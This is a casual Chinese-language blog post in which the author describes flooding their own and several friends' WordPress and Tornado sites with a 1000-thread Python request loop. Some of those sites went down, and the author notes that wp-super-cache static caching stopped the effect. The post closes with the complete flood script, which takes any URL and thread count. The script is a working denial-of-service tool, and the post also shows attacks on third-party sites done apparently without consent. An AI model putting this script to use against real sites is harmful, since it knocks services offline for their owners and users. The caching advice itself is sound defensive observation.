最近初学 Python, 写了一个程序开1000个线程来 get 我的wordpress(没开wp-super-cache), 然后发现网站瞬间跪了. 然后我去***原哥的网站, 原哥的网站也跪了. 紧接着我打算试一下 hutu.me 这个Feung的网站, 他也跪了. 我于是去试了一下 李劼杰学长的博客 , 结果他纹丝不动.

为什么大家都是 Linode 主机, 他的博客没有跪呢, 难道他买了很快的cpu套餐? 仔细一想应该是 wp-super-cache.

我一开始不知道wp-super-cache有这么好用. 后来想想也是, 这么多get过去在vps里面开个top一看五个php-fpm进程都占满了cpu, 但是流量也不大也就十来兆. 所以开了个静态化当然是可以化解这样的***了.

于是我把我的wordpress也开启静态化, 然后Python***一下, 果然也是纹丝不动了, vps里面top一看php-fpm都没在工作. 也是蛮吊的.

然后我又试了一下*** Tornado 建的没有缓存的站, top一看好几个Python进程都占满cpu了, 与php无异.

附 Python 代码:

import threading
import requests
def attack(index, url):
  cnt = 0
  while True:
    cnt += 1
    x = requests.get(url)
    print("[%d]  ==  %d || %s\r"%(index, cnt, x.content.decode('utf-8')[0:50]))
if __name__ == "__main__":
  url = input("Input the URL: ")
  x = int(input("Input the amount of threads: "))
  pool = []
  for i in range(x):
    pool.append(threading.Thread(target = attack, args = (i, url)))
  print("Start attack....")
  for i in range(x):
    pool[i].start()